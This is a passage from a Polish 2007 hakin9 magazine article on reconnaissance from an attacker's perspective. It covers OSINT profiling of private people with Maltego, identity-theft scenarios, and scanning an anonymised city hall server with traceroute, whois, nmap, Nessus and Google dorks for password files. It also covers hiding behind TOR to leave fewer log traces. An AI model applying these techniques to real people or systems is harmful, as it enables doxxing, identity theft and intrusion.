mi podejrzewam, że nawet lepsze
– jest to idealne oprogramowanie
do przeprowadzania tego typu ana-
liz i nie tylko. Dla potwierdzenia mo-
ich słów zachęcam do zapoznania
się z w/w oprogramowaniem (http://
www.paterva.com/web/Maltego),
a także do obejrzenia wyników na
Rysunku 5. (ustawiony limit 20 re-
lacji) – gdzie na czerwono podkre-
ślone są miejsca przechowywania
wrażliwych informacji.
Chciałbym teraz, już bez orga-
nizowania danych w sposób tabela-
ryczny, przedstawić wyniki działań.
Poprzez przeszukiwanie ogólnodo-
stępnych zasobów określiliśmy imię,
nazwisko, adres zamieszkania, 3 ad-
resy e-mail, numer GG, JID, numer
telefonu komórkowego. Po wsparciu
oprogramowaniem Maltego do listy
dołączyły takie informacje, jak fakt
przebywania poza granicami kra-
ju, numer telefonu za granicą, dane
personalne rodziców i dziadków(!)
oraz numer PESEL.
Kończąc tą część, przedstawię
jeszcze – jako ciekawostkę – jedną
stronę Biuletynu Informacji Publicz-
nej pewnego urzędu – Rysunek 6.
Dysponując opisanym zestawem
informacji oraz danymi z Tabeli do-
tyczącymi pierwszego użytkownika,
chciałbym przejść do analizy zagro-
żeń, ale najpierw zwrócę uwagę na
dwie rzeczy.
Po pierwsze prostota zdoby-
cia naprawdę istotnych danych jest
przerażająca – opisane działania nie
wymagają od nikogo specjalistycz-
nej wiedzy, a jedynie chęci i deter-
minacji. Po drugie ilość danych idzie
w parze z czasem i łatwością poszu-
kiwań. Co z tego wynika? Rośnie ob-
szar potencjalnego użycia zdobytych
informacji, a zatem i zestaw możli-
wych ataków. Patrząc realnie na ak-
tualny stan rzeczy, działania osoby
wykonującej – nazwijmy to – test, są
ograniczone jedynie jej wyobraźnią.
Wszystko to ma znaczenie jedynie
teoretyczne, jeśli dotyczy audytora,
natomiast gdy wykonującym te dzia-
łania jest osoba, której celem jest
wyrządzenie szkód, sprawa się kom-
plikuje. Mając do dyspozycji takie
dane jak te zdobyte wcześniej, na-
pastnik może z dużą skutecznością
przeprowadzać ataki wykorzystują-
ce inżynierię społeczną – najwięk-
sze zagrożenie bezpieczeństwa,
a jest to tylko jeden z przykładów.
Kolejną możliwością jest całkowita
kradzież tożsamości – zauważmy,
że w przypadku drugiej osoby jedy-
nie brak numeru dowodu osobiste-
go utrudnia nam założenie interne-
towego konta bankowego – a to już
nie jest tak duży problem. Wystar-
czy znaleźć więcej informacji o da-
nej osobie i się jej po prostu zapytać.
Z ukradzionej tożsamości agresor
może także korzystać w trakcie po-
dróży po Internecie. Może on wy-
korzystać takiego użytkownika jako
kozła ofiarnego w innych swoich
działaniach lub w celu odwrócenia
uwagi – umiejętnie operując danymi,
Rysunek 5.
Działanie Maltego
Listing 4.
Dane prezentowane przez whois
domain: xyzmiasto.pl
registrant's handle: dmra00XXXXXXXX
(
CORPORATE
)
nservers: ns1.xxnat.pl.[193.239.44.XX]
ns2.xxnat.pl.[83.18.80.XX]
last modified: 2006.11.02
option: the domain name has
not
option
REGISTRANT:
company: URZĄD MIEJSKI W XYZMIASTO
street: FABRYCZNA 37
city: XYZMIASTO
location: PL
handle: dmra00XXXXXXXX
phone: +48.XXZZZYYXX
last modified: 005.08.19
REGISTRAR: Rejestrator
ul. K. 37
85-079 Bydgoszcz
Polska/Poland
+48.525XXXXXX
www.rejestratorwwww.pl/info
Whois database last updated:
2007.09.15
hakin9 Nr 12/2007
www.hakin9.org
Atak
28
które posiada. Z wielką łatwością
napastnik może się podszywać pod
wybraną osobę np. w celu zdobycia
potrzebnych danych z atakowanej
firmy itd. Konkretnych przykładów
inżynierii społecznej przedstawiać
tutaj nie będę gdyż jest to bardzo
długi i ciekawy temat, a jako uzu-
pełnienie polecam publikacje inter-
netowe, jak i książkowe.
Zdobyte informacje mogą słu-
żyć również do przeprowadzania
kradzieży – nie tylko informatycz-
nych, ale także tych zwykłych, zna-
nych z świata realnego. Dysponując
tak znaczną ilością informacji, stwo-
rzenie wielu rodzajów dokumentów
to kwestia minut, a pobranie kredytu
od zaraz także nie stanowi problemu
ze względu na warunki i procedury.
Jak już wcześniej napisałem
– a Czytelnik mógł osobiście te-
go doświadczyć – zdobycie danych
w taki sposób jest naprawdę trywialne.
Samo powstanie programu Maltego
jest oznaką zainteresowania szer-
szej społeczności internetowej w/w
zagadnieniami. Sam, przeprowadza-
jąc analizy, skusiłem się na stworze-
nie drobnego programu automatyzu-
jącego wyszukiwanie danych i nie
wierzę, że ktoś inny nie zrobił tego
samego, być może już w innych
celach. Program ten stworzyłem
jedynie na potrzeby testu, bez więk-
szego wkładu i zaangażowania, ale
był w stanie zwrócić dane zgodne z
rzeczywistymi w 1389 przypadkach
na 2000 (co stwierdziłem na dro-
dze późniejszej, ręcznej analizy).
Wyszukiwał on jedynie dane perso-
nalne: imię, nazwisko, adres e-mai
i był w stanie przy rekurencyjnej ana-
lizie stron (do 7 od korzenia) znaleźć
numery GG, JID i adres zamieszka-
nia, wyodrębniając te dane na pod-
stawie pewnych cech charaktery-
stycznych (numer GG – ciąg cyfr,
dla uproszczenia od 6 do 10 znaków,
e-mail – ciąg znaków alfanumerycz-
nych zawierający @; poprzednia re-
guła wraz z listą serwerów Jabbera
wyodrębniała źle sklasyfikowane
JID jako adresy z listy e-mail itd.).
Jak więc widać, był on naprawdę
ograniczony – jednak podejrzewam,
że przy odpowiedniej determinacji
z łatwością można byłoby go roz-
budować o inne funkcje. Jako ta-
ki mógłby być on wykorzystany do
tworzenia baz danych dla automa-
tów spamujących, lub sam zostać
poszerzony o taką usługę. Oprócz
tego mógłby służyć do generowania
takich baz danych, które z przyjem-
nością ktoś mógłby kupić – a o na-
bywców nietrudno. Wiele firm zajmu-
je się między innymi profilowaniem
– zbieraniem danych o zwyczajach
i zachowaniach użytkowników, cho-
ciażby dla celów marketingowych,
a im bardziej szczegółowe informa-
cje (od danych personalnych po przy-
zwyczajenia i zainteresowania), tym
więcej baza jest warta na sieciowym
czarnym rynku. Łatwo więc zauwa-
żyć, że zagrożenia istnieją i są rze-
czywiście poważne.
Część III
W tej części artykułu postaram
się zaprezentować niektóre meto-
dy związane z identyfikacją syste-
mu zdalnego. Na początek obierze-
my cel, a następnie sukcesywnie
będziemy poszerzali nasz zasób
wiedzy o danej maszynie i sieci,
stosując metody od najmniej inwa-
zyjnych, po takie, których używania
teoretycznie nie sposób przeoczyć
podczas analizy logów (aczkolwiek
praktyka widziała różne rzeczy),
a pomimo to bardzo przydatne
i często wykorzystywane.
Za cel pozwoliłem sobie wy-
brać stronę urzędu miasta, które
dla potrzeb artykułu zostało prze-
mianowane na Xyzmiasto. Całość
swoich działań oprzemy o pewien
schemat, mianowicie prześledzimy
trasę pakietów od naszego kom-
putera do komputera testowane-
go, następnie dokładnie zapozna-
my się ze stroną WWW i podsta-
wowymi usługami internetowymi
(o ile są świadczone). Kolejnym
krokiem będzie dokładniejsze i bar-
dziej zaawansowane przeszukanie
zasobów sieciowych przy użyciu
Google oraz wykrycie użytkowni-
ków związanych z danym kompu-
terem. Podążając ścieżką wytyczo-
ną w części drugiej – dowiemy się,
co ciekawego ma nam do przekaza-
nia program Maltego. Mając pewien
zasób informacji, przejdziemy do
analizy na nieco niższym poziomie
– zajmiemy się pakietami produko-
wanymi i odbieranymi przez serwer.
Kolejnym naszym działaniem bę-
dzie podwyższenie poziomu ano-
nimowości własnej stacji i dalsza
analiza, tym razem jednak z wy-
korzystaniem metod bardziej inwa-
zyjnych. Nie mówiąc już nic więcej,
przystępujemy do działania.
Po pierwsze sprawdzimy, jak
wygląda droga pakietów od nasze-
go komputera do serwera doce-
lowego. Da nam to wyobrażenie
o odległości internetowej i pozwo-
li określić, czy będziemy w stanie
poddać dany serwer całkowitemu
podsłuchowi. Działanie to można
wykonać na przykład wtedy, gdy
serwer-cel znajduje się za serwe-
rem stanowiącym bramkę dla niego
Rysunek 6.
Czy trzeba było to umieszczać w takiej postaci?
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
29
i będącym jednocześnie słabiej
zabezpieczonym – a z doświadcze-
nia wiem, że czasem łatwiej spene-
trować serwer pośredniczący, niż
ten właściwy. Samo badanie ścież-
ki możemy wykonać na 3 sposoby:
pierwszy, całkowicie manualny, po-
lega na wysyłaniu do naszego ce-
lu pakietów z ustawionym czasem
życia pakietu (TTL) na wartość 1
i nasłuchiwaniu odpowiedzi ICMP
serwera, przez który pakiet taki nie
przeszedł ze względu na przekro-
czenie w/w czasu. Spisując po ko-
lei każdy adres serwera, od którego
pochodzi odpowiedź, a następnie
zwiększając wartość TTL i powta-
rzając tę czynność do czasu, gdy
serwerem odpowiadającym będzie
docelowy, określamy drogę, jaką
muszą pokonać pakiety. Sposobem
automatyzującym całą procedurę
jest wykorzystanie programu kon-
solowego – traceroute, a sposobem
numer trzy – skorzystanie z rozsze-
rzonej i okienkowej wersji tracerout'a
– mtr. Oprócz tego, co napisałem
wcześniej – możliwości przepro-
wadzenia podsłuchu całego ruchu
przychodzącego i wychodzącego
z naszego celu – badanie to da
nam możliwość określenia kompu-
tera, który mógłby stać się celem
pośrednim. Atakując komputer lub
router znajdujący się bezpośrednio
na drodze do naszego celu i jedno-
cześnie przed nim, jesteśmy w sta-
nie przechwycić i fałszować cały
ruch – np. w celu przeprowadze-
nia ataku typu phishing, DoS lub
innego, którego rezultatem stało-
by się faktyczne odcięcie naszego
celu od sieci lub sfałszowana ko-
munikacja z klientami. Wykrywanie
dróg pakietów ma również bardziej
przyziemne zastosowanie – może-
my sprawdzić, jak wiele krajów od-
wiedzają bity generowane przez
nasz komputer, zanim dotrą do ce-
lu. Wyniki uruchomienia polecenia
traceroute przedstawia Rysunek 7.
Widzimy więc, że analizowany
przez nas serwer znajduje się w odle-
głości 15 urządzeń sieciowych, przez
które muszą przejść pakiety. Aby
określić występowanie możliwości,
o których pisałem wcześniej, należa-
łoby sprawdzić dokładniej, co znaj-
duje się na ostatniej przedstawionej
na Rysunku pozycji – my jednak tego
teraz robić nie będziemy, a ewentual-
ne próby na urządzeniach testowych
zostawiam jako pracę domową. Wie-
my już na pewno (poprzez analizę
trasy), że komputer obsługujący stro-
nę urzędu miasta nie znajduje się
bezpośrednio za komputerem, który
mógłby służyć jako dodatkowy sys-
tem logowania – możemy więc czuć
się pewniej w działaniach wywia-
dowczych. Proponuję, aby samemu
sprawdzić trasy do kilku serwerów
lub portali – czasami daje to bardzo
ciekawe informacje, ale to proszę
potraktować jako ciekawostkę.
Jak widać na Rysunku 7. od
pewnego momentu zaczynają po-
jawiać jednostki z nazwami DNS
o końcówkach z pochodzenia za-
granicznych. Może mieć to dwa,
a w niektórych przypadkach trzy
powody, bardzo do siebie zbliżo-
ne – po pierwsze, ISP świadczy
usługi wykorzystując jako jednostki
nadrzędne dostawców z zagranicy,
ale pomimo to serwer znajduje się
w budynku urzędu. Po drugie, stro-
na korzysta z hostingu, który wy-
korzystuje łącza zagraniczne i po
trzecie – są to zwykłe trasy pakie-
tów jednego z największych dostaw-
ców w Polsce i to jest ta ciekawost-
ka, o której pisałem wcześniej.
Bardziej zaawansowaną meto-
dą detekcji i analizy serwera jest
pasywny przegląd cech charaktery-
stycznych pakietów generowanych
przez komputer poddawany bada-
niu. Przede wszystkim musimy być
Listing 5.
Co zwrócił nam nmap?
Starting Nmap 4.20
(
http://insecure.org
)
at 2007-08-12 12:46 CEST
Interesting ports
on
xyzmiaso.pl
(
-
)
:
PORT STATE SERVICE VERSION
21/tcp
open
ftp ProFTPD 1.3.0a
22/tcp
open
ssh OpenSSH 4.6
(
protocol 1.99
)
23/tcp closed telnet
25/tcp closed smtp
53/tcp closed domain
80/tcp
open
http Apache httpd 2.2.4
((
Unix
)
DAV/2 PHP/5.2.3
)
1433/tcp closed ms-sql-s
3306/tcp closed mysql
5432/tcp closed postgres
No exact OS matches
for
host
(
If
you know what OS
is
running
on
it, see http:
//insecure.org/nmap/submit/
)
.
TCP/IP fingerprint:
OS:SCAN
(
V=4.20%D=9/13%OT=22%CT=1%CU=42304%PV=N%DS=0%G=Y%TM=46E977EB%P=i486-
OS:slackware-linux-gnu
)
SEQ
<CUT>
Wielkość śladów
Bez precyzowania kryteriów:
-rw-r--r-- 1 root root 1280427 2007-08-12 11:57 access_log
-rw-r--r-- 1 root root 1312252 2007-08-12 11:57 error_log
-rw-r----- 1 root root 9957 2007-08-12 11:55 messages
-rw-r----- 1 root root 1684 2007-08-12 11:53 syslog
Po sprecyzowaniu kryteriów:
-rw-r--r-- 1 root root 8230 2007-08-12 12:01 access_log
-rw-r--r-- 1 root root 9956 2007-08-12 12:01 error_log
-rw-r----- 1 root root 3257 2007-08-12 11:55 messages
-rw-r----- 1 root root 174 2007-08-12 11:53 syslog
hakin9 Nr 12/2007
www.hakin9.org
Atak
30
świadomi, że każda implementacja
obsługi protokołów sieciowych jest
inna – pozwala nam to na detekcję
m. in. rodzaju systemu pracującego
na danej maszynie. Celowe wymu-
szanie obciążenia komputera lub
zmuszanie go dowolnymi metoda-
mi do pracy w sposób odbiegają-
cy od założeń może spowodować
np. wycieki pamięci z komputera
odpowiadającego na sztuczny ruch
– a wszystko przez błędy imple-
mentacji.Oprócz tego, dzięki anali-
zie pakietów pochodzących z danej
maszyny możemy określić fakt ist-
nienia oraz budowę sieci za danym
serwerem. Ale po kolei.
W identyfikacji pasywnej opartej
na analizie cech charakterystycz-
nych głównym i najważniejszym
źródłem, a jednocześnie gwarantem
sukcesu, jest odpowiednio duża
i bogata baza danych zawierająca
ów zbiór sygnatur. Pierwszą moż-
liwością jest wykrycie łącza – mo-
żemy spróbować analizy adresu IP
i zadania pytania dla baz danych
whois, a następnie wydedukować
typ możliwego łącza, ale również
możemy poszerzyć swoją wiedzę
sprawdzając łączną długość pakie-
tu IP (16-bitowe pole w nagłówku
datagramu IP). Długość ta, pomimo
że z góry ograniczona jest warto-
ścią 65535, w praktyce bywa różna
– w zależności od ograniczeń na-
rzuconych przez protokoły niższej
warstwy. Podążając tą drogą i zna-
jąc ograniczenia np. MTU, możemy
określić że np. typowe ustawienie
parametru MTU dla łącza DSL wy-
nosi 1492. Odrzucając możliwość
wystąpienia łącza DSL na serwe-
rach pośrednich (sprawdzonych
traceroute'm), możemy stwierdzić,
że takie łącze jest wykorzystywane
przez serwer. Następnie wkracza-
my na nieco głębsze wody – proto-
kół TCP. Na podstawie jego charak-
terystycznych ustawień możemy
określić system pracujący na danym
komputerze. Mając przed oczami
budowę pakietu TCP (Rysunek 8),
chciałbym przedstawić kilka faktów:
• ustawiony znacznik DF w pakie-
tach pochodzących od serwe-
ra może wskazywać, że zostały
one wygenerowane w systemach:
Windows, Linux, *BSD, Solaris,
• rozmiar okna w zależności od
swojej wartości może nasuwać
następujące wnioski:
• dwu- lub czterokrotność mak-
symalnego rozmiaru segmen-
tu – praca Linuksa,
• wartość 64512 – na system
z rodziny Windows.
• wartość pola TTL:
• zbliżona do wartości 64
– wskazuje na system Linux,
HP/UX, IRIX, AIX,
Rysunek 7.
Wyniki działania programu traceroute
Listing 6.
Wynik działania dig dla wp.pl
$ dig wp.pl
; <<>> DiG 9.4.1 <<>> wp.pl
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60633
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 3, ADDITIONAL: 3
;; QUESTION SECTION:
;wp.pl.
IN
A
;; ANSWER SECTION:
wp.pl. 1832
IN
A 212.77.100.101
;; AUTHORITY SECTION:
wp.pl. 1857
IN
NS dns.task.gda.pl.
wp.pl. 1857
IN
NS ns2.wp.pl.
wp.pl. 1857
IN
NS ns1.wp.pl.
;; ADDITIONAL SECTION:
dns.task.gda.pl. 205394
IN
A 153.19.250.100
ns1.wp.pl. 1948
IN
A 212.77.102.200
ns2.wp.pl. 2551
IN
A 153.19.102.182
;; Query time: 43 msec
;; SERVER: 194.204.152.34#53
(
194.204.152.34
)
;;
WHEN
: Sat Sep 15 17:57:07 2007
;; MSG SIZE rcvd: 150
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
31
• zbliżona do wartości 128 lub
32 – systemy z rodziny Win-
dows,
• 255 – może wskazywać na
Solarisa,
• zbliżona do wartości 60
– MacOS.
• zerowy identyfikator pakietu mo-
że wskazywać na Linuksa w wer-
sji 2.4.,
• ustawienie datownika określa czas
aktywnej pracy systemu.
Jest to tylko niewielka część da-
nych, które można wydobyć anali-
zując pakiety dochodzące do nas
np. podczas przeglądania strony in-
ternetowej – a widać jasno, że przy
takiej identyfikacji przede wszyst-
kim bierzemy pod uwagę następu-
jące pola:
• dla protokołu IP: TTL, ID, TOS,
bit DF,
• dla protokołu TCP: kombinację
ustawień i opcji Window Size,
MSS, NOP, SA, Datownik.
Łatwo też dostrzec, że wszelkie da-
ne ustalane są na podstawie zgro-
madzonych lub zaobserwowanych
cech charakterystycznych. Dlatego
też wykorzystanie analizy pasyw-
nej wiąże się z koniecznością po-
siadania bogatej bazy tych informa-
cji. Jak widać, jest to temat rzeka.
Następnym elementem naszej
analizy będzie dokładne zapozna-
nie się ze stroną WWW. W jaki
sposób, nie będę opisywać – jest
to intuicyjne. Ciekawszym wyko-
rzystaniem serwera HTTP w tym
przypadku jest sprawdzenie wer-
sji samego serwera i być może
systemu operacyjnego. Wystarczy
wejść na stronę, która nie istnieje,
a w wielu przypadkach pojawi się
(czy to dla serwera Apache czy dla
tego produkcji Microsoftu) strona
z błędem 404 i poszukiwanymi da-
nymi (w tym przypadku dla Apache):
Not Found. The requested URL /url
was not found on server. Apache/
1.3.29 Server at miasto.pl Port 80.
Jest to naprawdę często spotyka-
ne, a na tej podstawie bardzo łatwo
wyznaczyć cel ataku – jeżeli wie-
my że Apache w wersji 1.3.29 jest
podatny na jakiś błąd, przy czym nie
zależy nam na konkretnej maszy-
nie, a jedynie na samym fakcie wła-
mania, wystarczy poprosić Google,
żeby wyświetliło nam kilka stron
z adresami, gdzie takie serwery się
znajdują.
Kolejnym krokiem będzie anali-
za przeprowadzana właśnie za po-
mocą Google'a. Po pierwsze należy
ustalić, co chcielibyśmy znaleźć:
• hasła,
• loginy,
• prywatne dane,
• dane konfiguracyjne,
• wrażliwe informacje.
Aby to uczynić, należy odpowied-
nio przeszukać zasoby udostępnio-
ne przez serwer. Ze swojej strony
proponuję sprawdzić, czy na ser-
werze występują pliki robots.txt
– odpowiedzialne za nadzór ruchu
botów internetowych na stronie.
Często pliki i foldery zablokowa-
ne przed indeksowaniem przez
boty zawierają ważne informacje.
Sprawdzamy prozaicznym pytaniem:
intitle:index.of robots.txt
.
Sprawdzić, czy wśród danych
publicznych lub zabezpieczonych
przez ukrycie, nie występują intere-
sujące dane. W tym celu skorzysta-
my z wyszukiwania w nazwie dome-
ny xyzmiasto.pl (
site: xyzmiasto.pl
)
stron zawierających indeks folde-
rów ze specyficzną nazwą. Zrobimy
to stosując zapytanie
„index.of. _
nazwa _ folderu _ ”
. Proponuję zba-
dać istnienie folderów o nazwach:
prywatne, ukryte,
temp
,
secure
,
pass
,
moje
, wszelkie kombinacje w/w nazw
Tabela 3.
Usługi oraz porty, na jakich nasłuchują ich aplikacje
Nazwa usługi
Port
Opis
ftp-data
20/tcp/udp
Protokół przesyłu plików
[dane]
ftp
21/tcp/udp
Protokół przesyłu plików
[sterowanie]
ssh
22/tcp/udp
Zdalny dostęp do serwera
– usługa Secure Shell Login
telnet
23/tcp/udp
Zdalny dostęp do serwera
– usługa telnet
smtp
25/tcp/udp
Simple Mail Transfer Protocol
– wysyłanie poczty
domain
53/tcp/udp
Domain Name Server
– obsługa zapytań DNS
finger
79/tcp/udp
Usługa finger
http
80/tcp/udp
Usługa World Wide Web
HTTP
pop3
110/tcp/udp
Post Office Protocol - Version 3
– odbiór poczty
sftp
115/tcp/udp
Simple File Transfer
Protocol
netbios-ssn
139/tcp
NETBIOS Session Service
sqlsrv
156/udp
SQL Service
ms-sql-s
1433/tcp
Microsoft SQL Server- baza danych
SQL firmy Microsoft
mysql
3306/tcp
MySQL
– baza danych SQL
postgresql
5432/tcp
Baza danych
PostgreSQL
hakin9 Nr 12/2007
www.hakin9.org
Atak
32
angielskich i polskich,
backup
,
kopia
,
tmp
etc
. – wszystko według uznania
poszukującego.
Sprawdzić, czy na serwerze
nie znajdują się raporty Nessu-
sa, co ułatwiłoby bardzo zadanie:
intitle:"Nessus Scan Report"
,
"This
file was generated by Nessus"
. Szu-
kamy, jak poprzednio, w domenie
xyzmiasto.pl.
Sprawdzić, czy na serwerze nie
znajdują się pliki zawierające nazwy
użytkowników lub hasła dostępne
z poziomu wyszukiwarki –
passwd
etc
.
Sprawdzić, czy serwer nie ob-
sługuje systemu statystyk takiego
jak np. phpsysteminfo lub inny po-
dobny – dałoby nam to ogromny za-
sób informacji o maszynie: +intext:
Info +intext:Usage Statistics for.
Więcej przykładów zapytań znaj-
duje się w GHD – zajrzyj do ramki
W Sieci.
Innym ciekawym zastosowaniem
wyszukiwarki jest zadawanie py-
tań zwracających wyniki podob-
ne do rezultatów działania progra-
mu finger. Wyszukiwarka wyświetli
nam wszystkich użytkowników, któ-
rych działalność jest bezpośrednio
kojarzona z daną domeną według
zindeksowanych przez nią stron.
W celu wykorzystania tej funkcjo-
nalności możemy jak zwykle zada-
wać pytania ręcznie lub wykorzy-
stać gotowe skrypty, np. autorstwa
Sergio Alvareza. Listing 2. prezen-
tuje uzyskane wyniki, przy czym
pierwsze linijki to wygląd zapyta-
nia, a następne to zwracane re-
zultaty.
Prowadząc w dalszym ciągu
działania tego typu, wyszukiwar-
ka po zastosowaniu innego skryp-
tu zwróciła nam aktualne adresy
e-mail na podstawie listy z Listingu
2. – do każdej nazwy należy dodać
@xyzmiasto.pl. Istnieje inne intere-
sujące zastosowanie – ekstrakcja
adresów URL z podanej domeny.
W tym celu dla wygody i automa-
tyzacji możemy zastosować narzę-
dzie o nazwie list-urls. Uzyskane
adresy pozwolą nam określić inne
strony, na których być może znaj-
dują się dane dotyczące interesu-
jącej nas maszyny. Często taka sy-
tuacja ma miejsce i istotnie wpływa
na obniżenie poziomu bezpieczeń-
stwa. Przykładowy wynik działania
programu prezentuje Listing 3.
Przechodząc na nieco wyższy
poziom sprawdzania i poszukiwania,
warto zapoznać się z wynikami do-
starczanymi przez bazy whois – dzia-
łania funkcjonalne DNS opisane są
w RFC o numerach 1034 i 1035
w wolnych chwilach można się z ni-
mi zapoznać. Należy pamiętać, że ist-
nienie poddomen dla danej domeny
z nazwami np. smtp, pop, pop3, www,
ftp itp. może świadczyć o istnieniu
tych usług na konkretnej maszynie.
Ułatwia nam to pracę przy analizie
hosta, ponieważ wygenerujemy mniej
ruchu, który zostanie zalogowany na
serwerze, a ponadto nie musimy już
sprawdzać istnienia usług we wstęp-
nej fazie działań, co znacznie je przy-
spieszy. Mamy także świadomość, że
serwer może być narażony na ataki
wymierzone w te usługi, dlatego też
zawęża się nasze pole poszukiwań
w przypadku testów penetracyjnych.
Wśród danych wyświetlanych z baz
danych DNS znajduje się kilka innych
wartych uwagi rzeczy – przykładowy
wycinek przedstawia Listing 4.
Jesteśmy w stanie zdobyć da-
ne administratora domeny, co może
być bardzo pomocne w działaniach
social engineering oraz zdobywa-
my informacje pomocne w przypad-
ku prób dostępu do strefy DNS lub
jej transferu (za pomocą np. Sam
Spade). Inną możliwością uzyskania
przydatnych informacji dotyczących
nazw internetowych danej maszyny
Tabela 4.
Rezultaty działania Nessusa
Wykrycie
Status/Opis
System
Linux
Poziom
Zagrożenia
Wysoki
Otwarte
porty
9, z czego 2 jako zagrożone
Port palace-5 (9996/tcp)
działające PsyBNC
Port ftp (21/tcp)
Anonymous FTP – dostępne
Port ssh (22/tcp)
1.33
1.5
1.99
2.0
SSHv1 host key fingerprint : 75:97:cc:70:2c:87:56:c0:b0:77:
38:f8:56:20:b1:2b
SSHv2 host key fingerprint : 16:90:40:fb:9e:f0:6e:ea:51:bc:
51:9d:2b:74:49:2e
Port http (80/tcp)
mod_ssl hook functions format string vulnerability
Synopsis :
Arbitrary code can be executed on the remote host
Description :
The remote host is using a version of mod_ssl which is
older than 2.8.18.
This version is vulnerable to a flaw which may allow an at-
tacker to disable
the remote web site remotely, or to execute arbitrary code
on the remote
host.
Apache mod_proxy content-length buffer overflow
Itd.
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
33
jest wykorzystanie programu DiG,
a efekty jego wykonania prezentuje
Listing 5. Dane uzyskane w ten spo-
sób, pomimo że same w sobie nie są
groźne, mogą zostać wykorzysta-
ne w bardzo niebezpieczny sposób.
W tym momencie nasuwa się pyta-
nie o problem ukrycia danych perso-
nalnych w rejestrach i bazach DNS.
Jak się przedstawia sytuacja? Moż-
liwość ukrycia danych na pewno
poprawiła by bezpieczeństwo i za-
pewniła większą prywatność właści-
cielom domen. W końcu sam przez
cały artykuł mówię o odpowiednim
poziomie bezpieczeństwa oraz roz-
wadze przy publikacji jakichkolwiek
danych. Z drugiej strony pojawiają
się zwykli użytkownicy korzystający
z Sieci – ukrycie danych w bazach
przede wszystkim przeszkodziłoby
właśnie im, gdyż personalia te są
jedynym sposobem zidentyfikowa-
nia prowadzącego usługi. Jak wi-
dać, w tej kwestii problem jest trudny
do rozwiązania. Nadeszła pora wy-
korzystania metod aktywnych i silniej
ingerujących w działanie serwera.
Aby móc odczuwać pewien komfort
pracy, warto zadbać przynajmniej
w minimalnym stopniu o własne bez-
pieczeństwo. W tym obszarze mamy
kilka możliwości, a do bardziej popu-
larnych należy wykorzystanie meto-
dy onion routingu (aplikacja TOR) lub
użycie oprogramowania JAP.
Jaka jest ich zasada ich działania
w pigułce? JAP wykorzystuje serwe-
ry pośredniczące w taki sposób, że
użytkownik jest ukryty za wszystki-
mi połączeniami (tworzone są wir-
tualne tunele). Nikt z zewnątrz sie-
ci pośredniczącej, a nawet z samej
sieci nie jest w stanie przyporząd-
kować konkretnego połączenia do
użytkownika. Usługę serwerów po-
średniczących udostępniają nieza-
leżne instytucje, które oficjalnie de-
klarują nieprzechowywanie logów
połączeń.
Mając już nieco podniesiony
stopień anonimowości połączenio-
wej (należy pamiętać, że pomimo
tak wspaniałych deklaracji i cudow-
nych opisów działań, w Sieci cięż-
ko być anonimowym), przystępuje-
my do dalszych analiz.
Kolejnym naszym krokiem bę-
dzie ręczna analiza usług świad-
czonych przez serwer. Zaczniemy
od poszerzenia informacji dotyczą-
cych usług pracujących na zdalnej
maszynie. Po badaniach przeprowa-
dzonych wcześniej jesteśmy w 90%
przekonani, iż system obsługuje po-
cztę, serwer WWW i FTP (lub w naj-
bliższym czasie zacznie). Możemy
to wnioskować z tak wysokim pozio-
mem pewności, gdyż mamy świado-
mość istnienia odpowiednich nazw
DNS związanych z testowaną dome-
ną. Aby nie generować od razu wiel-
kiej ilości logów, sprawdzimy jedynie
usługi najczęściej występujące. Jakie
to usługi? Przedstawia je tabelka
usług przygotowana na podstawie
pliku services.
Sprawdzenie, chociażby przez po-
łączenie za pomocą telnetu z każ-
dym portem, prócz upewnienia nas
o istnieniu danej usługi, zwróci nam
często jej baner. Informacja taka jest
prezentowana jako powitanie, któ-
re nierzadko zawiera wersję serwe-
ra, lub nawet systemu na którym ten
pracuje.
Co dalej? Sprawdźmy, co powie
nam o systemie nmap: nmap -sS -sV
-p 13,21,22,80,1433, 3306,5432 -P0
xyzmiasto.pl (opcje i sposoby skano-
wania to temat na oddzielną publika-
cję, dlatego nie będę ich tłumaczyć
nawet powierzchownie – zapraszam
do zapoznania się z odnośnikami).
W rezultacie uzyskaliśmy dane
takie, jak na Listingu 6. z których mo-
żemy odczytać wersję demona ftp,
ssh i http. Do informacji zaprezen-
towanych przez nmapa należy tak-
że zaliczyć dane o systemie, pre-
zentowanym jako nieznany. Do wyni-
ków można podejść na kilka sposo-
bów, ale najlepiej przyjrzeć się sekcji
fingerprint. Znajduje się w niej in-
formacja, która może być niezwykle
ważna – slackware–linux–gnu. Może-
my wnioskować z zaprezentowanych
danych, iż serwer pracuje na syste-
mie Linux Slackware, a ze względu
na niemożliwość dokładnego rozpo-
znania, że jest to świeża instalacja
np. wersji 12.0 lub z currenta.
W każdym przypadku należy
pamiętać, iż podczas wykonywania
jakichkolwiek analiz, zawężenie ob-
szaru poszukiwań i testów zmniejsza
znacznie ilość danych które zostaną
zapisane w logach serwera. Na do-
wód tych słów proszę zapoznać się
z ramką wielkości śladów.
Kolejnym narzędziem, które za-
stosujemy jest Nessus – znakomity
skaner podatności. Jest on w zasa-
dzie podstawowym narzędziem, któ-
re jest wykorzystywane w wielu sy-
tuacjach przez specjalistów różnej
kategorii. Najważniejszym elemen-
tem wykorzystania Nessusa jest
umiejętność doboru kryteriów testu.
Będąc już po licznych krokach anali-
zy serwera, jesteśmy w stanie okre-
ślić jego konfigurację i budowę struk-
turalną – po analizach pasywnych
możemy śmiało powiedzieć, że kom-
puter nie pracuje ani na systemie pro-
dukcji Microsoftu, ani na *BSD czy
Solarisie. Potrafimy nawet wskazać,
że systemem zarządzającym maszy-
ną jest Linux Slackware. W trakcie
badania strony nie mogliśmy stwier-
dzić działania aplikacji CGI, ani też
faktu istnienia bardziej zaawansowa-
nych i znanych systemów portalo-
wych w PHP. Wiemy także, że serwer
na pewno nie jest serwerem sprzęto-
wym, zatem możemy wyłączyć z pro-
cesu analizy kolejne grupy wtyczek
Nessusa. Śmiało usuwamy wszyst-
kie pluginy związane z systemami in-
nymi niż Linux w ogólności, oraz inne
niż Slackware, możemy także usu-
nąć te związane z CGI oraz routerami
sprzętowymi CISCO. W tym stadium
analizy nie interesują nas także po-
datności na ataki DoS ani możliwości
zdalnego przejęcia uprawnień roota.
Przeglądając dalej listę pluginów Nes-
susa oraz analizując ją w kontekście
posiadanych informacji, jesteśmy w
